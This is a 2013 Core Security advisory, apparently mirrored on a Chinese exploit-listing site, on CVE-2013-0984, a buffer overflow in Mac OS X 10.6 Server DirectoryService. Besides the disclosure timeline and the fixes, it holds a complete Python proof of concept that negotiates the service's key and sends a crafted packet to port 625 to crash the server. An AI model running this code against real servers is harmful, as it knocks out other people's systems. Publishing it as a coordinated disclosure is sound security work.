发布 2013-06-05 漏洞条目

Apple Mac OSX Server – DirectoryService Buffer Overflow

Exploit Source

Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/

Mac OSX Server DirectoryService buffer overflow

1. *Advisory Information*

Title: Mac OSX Server DirectoryService buffer overflow

Advisory ID: CORE-2013-0103

Advisory URL:

http://www.coresecurity.com/advisories/mac-osx-server-directoryservice-buffer-overflow

Date published: 2013-06-04

Date of last update: 2013-06-04

Vendors contacted: Apple

Release mode: Coordinated release

2. *Vulnerability Information*

Class: Buffer overflow [CWE-119]

Impact: Code execution

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-0984

3. *Vulnerability Description*

A memory corruption vulnerability was found in Mac OSX Directory

Service. By sending a maliciously crafted message, a remote attacker

could cause the directory server to terminate or execute arbitrary code

with system privileges. The issue existed in the directory server's

handling of messages from the network.

4. *Vulnerable Packages*

. Mac OS X 10.6.8 Server (x86_64)

. Mac OS X 10.6.7 Server (x86_64)

. Mac OS X 10.6.6 Server (x86_64)

. Mac OS X 10.6.5 Server (x86_64)

. Mac OS X 10.6.4 Server (x86_64)

. Mac OS X 10.6.3 Server (x86_64)

. Mac OS X 10.6.2 Server (x86_64)

. Mac OS X 10.6.1 Server (x86_64)

. Mac OS X 10.6.0 Server (x86_64)

. Other versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

. Apple security updates are available via the Software Update

mechanism: http://support.apple.com/kb/HT1338.

. Apple security updates are also available for manual download via:

http://www.apple.com/support/downloads.

. For further information regarding this issue visit:

http://support.apple.com/kb/HT1222.

. Vendor also notifies that this issue does not affect OS X Lion or

OS X Mountain Lion systems.

6. *Credits*

This vulnerability was discovered and researched by Nicolas Economou.

The publication of this advisory was coordinated by Fernando Miranda

from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

The bug is located in the function 'DSTCPEndpoint::AllocFromProxyStruct'

from 'DSTCPEndpoint.cpp'[1]. An attacker can control both the value of

'inProxyDataMsg->fDataSize' and the data that will be copied. Thus, by

sending a huge amount of data and a small buffer size, the service will

crash trying to access an unmapped memory block.

7.1. *Proof of Concept*

Before running the PoC, make sure you meet the following prerequisites:

1. The PyCrypto toolkit [2] has to be installed.

2. The IP address and port (hardcoded at the end of the file) have to

point to your server.

3. The PoC was tested against a Mac OSX Server 10.6.8 with the last

security patch installed [3].

/-----

from Crypto.Cipher import AES

import socket

import struct

import time

def send_packet(sock, data):

packet = ""

packet += "DSPX"

packet += struct.pack(">I", len(data))

packet += data

sock.send(packet)

def get_crypted_data(shared_key, data):

cipher = AES.new(shared_key, AES.MODE_CBC, "\x00" * 16)

crypted_data = cipher.encrypt(data)

return crypted_data

def attack(ip, port):

try:

p = socket.socket()

p.connect((ip, port))

except Exception, e:

print e

return

data = ""

data += "DHN2"

data += "\x00" * 63 + "\x02" # Key that generates a DERIVED KEY,

identical to the one received.

# Packet 1

print ("\nSending my public key ...")

send_packet(p, data)

resp = p.recv(65536)

# Key sent by server.

key_sent = resp[8: len(resp) - 1]

server_key = ""

# Flip the number.

for i in range(len(key_sent) - 1, -1, -1):

server_key += key_sent[i]

# String to (a huge) number conversion.

big_number = ""

for c in server_key:

big_number += "%.2x" % ord(c)

big_number = int(big_number, 16)

prime = 2 ** 128

# Obtaining the SHARED KEY (To be use for AES encryption).

derived_key = pow(big_number, 1, prime)

magic_number = derived_key

derived_key_string = ""

# Transform key into a string.

while magic_number != 0:

resto = magic_number % 256

magic_number /= 256

derived_key_string += struct.pack("B", resto)[0]

print "shared key: %s" % repr(derived_key_string)

# Handshake.

print "Sending the Handshaking"

data = "A" * 4 + ("\x0c" * 12)

crypted_data = get_crypted_data(derived_key_string, data)

send_packet(p, crypted_data)

resp = p.recv(65536)

data = ""

data += "A" * 0x1b

data += "\x02"

data += struct.pack("<I", 0x10000000) # Evil value.

data += struct.pack("<I", 0x100) # Value to be used by

the last patched version.

data += "A" * ( 0x34 - len(data) )

data += struct.pack(">I", 0x1172 + 1) # Operation code.

data += struct.pack(">I", 0x99999999)

data += struct.pack(">I", 0x80808080)

data += struct.pack(">I", 0x81818181)

data += struct.pack(">I", 0x66666666)

data += "B" * (0xe0 - len(

data)) # Bypass in previous Mac OSX versions ( Integer

underflow -> ( ( 0xe0 + 0x10 ) - 0x100 )

data += "\x00" * 16

crypted_data = get_crypted_data(derived_key_string, data)

# TRIGGER

print ( "Sending the evil packet" )

send_packet(p, crypted_data)

p.settimeout(10)

try:

p.recv(65536)

except Exception, e:

print e

p.close()

try:

print ( "\nwaiting 10 seconds for check ..." )

time.sleep(10)

p = socket.socket()

p.settimeout(10)

p.connect(( ip, port ))

except Exception:

print ( "\nThe attack was successful !\n" )

return

print ( "\nThe attack wasn't successful\n" )

return

ip = "192.168.100.1"

port = 625

attack(ip, port)

-----/

8. *Report Timeline*

. 2013-01-09:

Core Security Technologies notifies Apple Product Security of the

vulnerability and sends technical details and a PoC to reproduce the

issue. Publication date is set for Feb 19th, 2013.

. 2013-01-10:

Apple Product Security acknowledges reception of the advisory (id

250731893 assigned).

. 2013-02-01:

Core asks Apple Product Security if they were able to reproduce the

issue and requests a status update.

. 2013-02-05:

The Apple Product Security team notifies that they were able to

reproduce the issue and asks to delay the advisory publication until

they were able to ship a security update.

. 2013-02-19:

First release date missed.

. 2013-02-25:

Core notifies that release dates can be re-scheduled based on concrete

and detailed information about vendor plans to produce a fix, but Core

has not received that information from Apple yet.

. 2013-02-28:

Vendor notifies that they are still working on fixing the issue and the

current best estimate for releasing a patch is late April.

. 2013-03-05:

Core re-schedules the advisory publication for April 30th and asks for

detailed technical information.

. 2013-03-08:

Vendor notifies that the issue affects Mac OS X Snow Leopard Server

only. Code execution may theoretically be possible but Apple Product

Security team was not able to do so.

. 2013-04-22:

Core asks for a status update.

. 2013-04-24:

Vendor estimates that they will address this issue in early May.

. 2013-04-30:

Second release date missed.

. 2013-04-30:

Core notifies that the second release date was missed and that the

advisory publication can be re-scheduled if Apple provides enough

feedback and technical information for justifying that decision: 1. For

what reasons Apple was not able to release the update at the end of

April as planned? 2. What is the status of next security update? 3. What

is the new tentative release date? 4. Is a patch available for test it?

. 2013-05-02:

Vendor notifies that the reported issue is addressed in the upcoming

security update for Mac OS X Snow Leopard, targeted for mid-May.

. 2013-05-02:

Core re-schedules the advisory publication for May 14th.

. 2013-05-02:

Vendor sends an invitation to join in to the Apple Software Customer

Seeding program [4] for pre-release access to builds of this security

update.

. 2013-05-07:

Third release date missed.

. 2013-05-13:

Core asks if the tentative release date of Mid May still stands.

. 2013-05-14:

Fourth release date missed.

. 2013-05-15:

Vendor notifies that the upcoming update addresses a considerable number

of security issues and the release has to be postponed. Vendor notifies

they will communicate a tentative release days in the next few days.

. 2013-05-27:

Core asks for a release date and notifies that the advisory was

re-scheduled for Jun 6th; this date should be considered final unless

vendor provides a clear timeline to justify keep delaying the release.

. 2013-05-29:

Vendor notifies that they are still waiting a confirmation from CORE

Security that the update they seeded [2013-05-02] addresses the reported

issue.

. 2013-05-29:

Core notifies that being part of Apple beta test program was never

requested and asks for a CVE number and a confirmed release date.

. 2013-05-30:

Vendor notifies that the invitation to the Apple Software Customer

Seeding [4] was sent because Core requested a patch for testing on

[2013-04-30]. Vendor asks if Core has already completed the patch

testing process.

. 2013-05-30:

Core notifies that it was not possible to download the patch from the

location provided by Apple and no more time nor resources can be spent

on this case. Core also notified that this case was reported 5 months

ago and 4 release dates were missed: Feb 19th, late April, early May and

mid-May. Additionally, in the last weeks Core asked for a release date

several times but did not receive any answer. For those reasons, Core

confirms the release date of Jun 6th.

. 2013-05-31:

Vendor notifies that the security update is on track for releasing next

week and assigns CVE-2013-0984 for this issue. Vendor changes the

vulnerability impact from DoS to code-execution.

. 2013-06-04:

Vendor notifies that the security update was released.

. 2013-06-04:

Advisory CORE-2013-0103 released.

9. *References*

[1]

http://opensource.apple.com/source/DirectoryService/DirectoryService-621/Proxy/DSTCPEndpoint.cpp

[2] https://www.dlitz.net/software/pycrypto/

[3] http://support.apple.com/kb/HT5501 - DirectoryService

[4] https://appleseed.apple.com

10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://corelabs.coresecurity.com.

11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security

Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.

12. *Disclaimer*

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

作者: Core Security
日期: 2013-06-05
类别: dos
平台: osx

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service